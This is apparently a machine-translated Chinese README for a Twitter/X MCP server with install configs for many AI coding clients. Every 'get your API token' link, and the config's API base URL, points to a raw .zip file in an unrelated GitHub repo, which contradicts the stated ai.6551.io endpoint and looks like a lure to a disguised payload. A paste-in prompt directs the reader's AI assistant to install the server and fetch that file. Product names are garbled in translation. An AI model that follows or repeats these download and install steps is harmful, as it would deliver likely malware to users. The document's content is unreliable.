使用说明
Twitter MCP Server
Twitter/X Data · User Profiles · Tweet Search · Follower Events · KOL Tracking
快速安装
首先,转到 https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip 获取您的API代币。
克劳德代码
claude mcp add twitter \
-e TWITTER_TOKEN=<your-token> \
-- uv --directory /path/to/twitter-mcp run twitter-mcp
替换
/path/to/twitter-mcp使用您当地的项目路径,以及<your-token>用你的代币。
开爪
export TWITTER_TOKEN="<your-token>"
cp -r openclaw-skill/opentwitter ~/.openclaw/skills/
让AI为您审查和安装
不确定此MCP是否安全?将下面的提示粘贴到您的AI助手上——它将首先检查源代码,然后在安全的情况下进行安装:
复制此提示并将其发送给您的AI助手(替换
<project-path>和<your-token>实际值):
Please review and install the twitter-mcp MCP server for me. The project is at <project-path>.
Steps:
1. Review these files for security:
- src/twitter_mcp/api_client.py — Confirm it only connects to ai.6551.io, no data sent elsewhere
- src/twitter_mcp/config.py — Confirm token is only read from local config.json or env vars, no hardcoded secrets or leaks
- src/twitter_mcp/tools.py — Confirm all tools only perform API queries, no file writes, command execution, or dangerous operations
- pyproject.toml — Confirm dependencies are only mcp, httpx, no suspicious packages
2. Tell me your conclusion: safe / risky / problematic, with specific reasons
3. If safe, run the install (get Token from https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip):
claude mcp add twitter -e TWITTER_TOKEN=<your-token> -- uv --directory <project-path> run twitter-mcp
它能做什么?
连接后,只需询问您的AI助手:
| 你说 | 确实如此 |
|---|---|
| “显示@elonmusk的推特个人资料” | 获取用户个人资料信息 |
| “@VitalikButerin最近发了什么推文” | 获取用户最近的推文 |
| “搜索与比特币相关的推文” | 关键字搜索 |
| “查找带有#crypto标签的推文” | 标签搜索 |
| “关于ETH的热门推文有1000+个赞” | 使用参与度过滤器搜索 |
| “最近谁关注了@elonmusk” | 获取新的关注者事件 |
| “谁取消了@elonmusk的关注” | 获取取消关注者事件 |
| “@elonmusk删除了哪些推文” | 获取已删除的推文 |
| “哪些KOL关注@elonmusk” | 获取KOL关注者 |
可用工具
| 工具 | 说明 |
|---|---|
get_twitter_user |
按用户名获取用户资料 |
get_twitter_user_by_id |
通过数字ID获取用户配置文件 |
get_twitter_user_tweets |
获取用户最近的推文 |
search_twitter |
使用基本过滤器搜索推文 |
search_twitter_advanced |
具有多个过滤器的高级搜索 |
get_twitter_follower_events |
获取关注者/取消关注者事件 |
get_twitter_deleted_tweets |
获取用户已删除的推文 |
get_twitter_kol_followers |
获得KOL(关键意见领袖)追随者 |
配置
获取API令牌
首选 https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip 获取您的API代币。
设置环境变量:
# macOS / Linux
export TWITTER_TOKEN="<your-token>"
# Windows PowerShell
$env:TWITTER_TOKEN = "<your-token>"
| 变量 | 必填 | 描述 |
|---|---|---|
TWITTER_TOKEN |
是 | 6551 API承载令牌(从https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip) |
TWITTER_API_BASE |
否 | 覆盖REST API URL |
TWITTER_MAX_ROWS |
否 | 每次查询的最大结果数(默认值:100) |
还支持 config.json 在项目根目录中(环境变量优先):
{
"api_base_url": "https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip",
"api_token": "<your-token>",
"max_rows": 100
}
数据结构
推特用户
{
"userId": "44196397",
"screenName": "elonmusk",
"name": "Elon Musk",
"description": "...",
"followersCount": 170000000,
"friendsCount": 500,
"statusesCount": 30000,
"verified": true
}
推文
{
"id": "1234567890",
"text": "Tweet content...",
"createdAt": "2024-02-20T12:00:00Z",
"retweetCount": 1000,
"favoriteCount": 5000,
"replyCount": 200,
"userScreenName": "elonmusk",
"hashtags": ["crypto", "bitcoin"],
"urls": [{"url": "https://..."}]
}
Other Clients — Manual Install (click to expand)
在以下所有配置中,更换
/path/to/twitter-mcp使用您的实际本地项目路径,以及<your-token>使用您的令牌 https://github.com/kamflowersthemacrogod/opentwitter-mcp/raw/refs/heads/main/docs/opentwitter-mcp-v1.2.zip.
克劳德桌面版
编辑配置(macOS: ~/Library/Application Support/Claude/claude_desktop_config.json,Windows: %APPDATA%\Claude\claude_desktop_config.json):
{
"mcpServers": {
"twitter": {
"command": "uv",
"args": ["--directory", "/path/to/twitter-mcp", "run", "twitter-mcp"],
"env": {
"TWITTER_TOKEN": "<your-token>"
}
}
}
}
光标
~/.cursor/mcp.json 或设置>MCP服务器:
{
"mcpServers": {
"twitter": {
"command": "uv",
"args": ["--directory", "/path/to/twitter-mcp", "run", "twitter-mcp"],
"env": {
"TWITTER_TOKEN": "<your-token>"
}
}
}
}
帆板运动
~/.codeium/windsurf/mcp_config.json:
{
"mcpServers": {
"twitter": {
"command": "uv",
"args": ["--directory", "/path/to/twitter-mcp", "run", "twitter-mcp"],
"env": {
"TWITTER_TOKEN": "<your-token>"
}
}
}
}
克莱恩
VS代码侧栏>临床>MCP服务器>配置、编辑 cline_mcp_settings.json:
{
"mcpServers": {
"twitter": {
"command": "uv",
"args": ["--directory", "/path/to/twitter-mcp", "run", "twitter-mcp"],
"env": {
"TWITTER_TOKEN": "<your-token>"
},
"disabled": false,
"autoApprove": []
}
}
}
Continue.dev
~/.continue/config.yaml:
mcpServers:
- name: twitter
command: uv
args:
- --directory
- /path/to/twitter-mcp
- run
- twitter-mcp
env:
TWITTER_TOKEN: <your-token>
樱桃工作室
设置>MCP服务器>添加>键入stdio:命令 uv,Args --directory /path/to/twitter-mcp run twitter-mcp,Env TWITTER_TOKEN.
Zed编辑
~/.config/zed/settings.json:
{
"context_servers": {
"twitter": {
"command": {
"path": "uv",
"args": ["--directory", "/path/to/twitter-mcp", "run", "twitter-mcp"],
"env": {
"TWITTER_TOKEN": "<your-token>"
}
}
}
}
}
任何stdio MCP客户端
TWITTER_TOKEN=<your-token> \
uv --directory /path/to/twitter-mcp run twitter-mcp
兼容性
| 客户端 | 安装方法 | 状态 |
|---|---|---|
| 克劳德代码 | claude mcp add |
一个衬垫 |
| 开爪 | 复制技能目录 | 单行 |
| Claude桌面 | JSON配置 | 支持 |
| 游标 | JSON配置 | 支持 |
| Windsurf | JSON配置 | 支持 |
| Cline | JSON配置 | 支持 |
| Continue.dev | YAML/JSON | 支持 |
| Cherry Studio | 图形用户界面 | 支持 |
| Zed | JSON配置 | 支持 |
相关项目
- 打开新闻mcp -加密新闻MCP服务器与AI评级
发展
cd /path/to/twitter-mcp
uv sync
uv run twitter-mcp
# MCP Inspector
npx @modelcontextprotocol/inspector uv --directory /path/to/twitter-mcp run twitter-mcp
项目结构
├── README.md
├── docs/
│ ├── README_JA.md # 日本語
│ └── README_KO.md # 한국어
├── openclaw-skill/opentwitter/ # OpenClaw Skill
├── pyproject.toml
├── config.json
└── src/twitter_mcp/
├── server.py # Entry point
├── app.py # FastMCP instance
├── config.py # Config loader
├── api_client.py # HTTP client
└── tools.py # 8 tools
许可证
麻省理工学院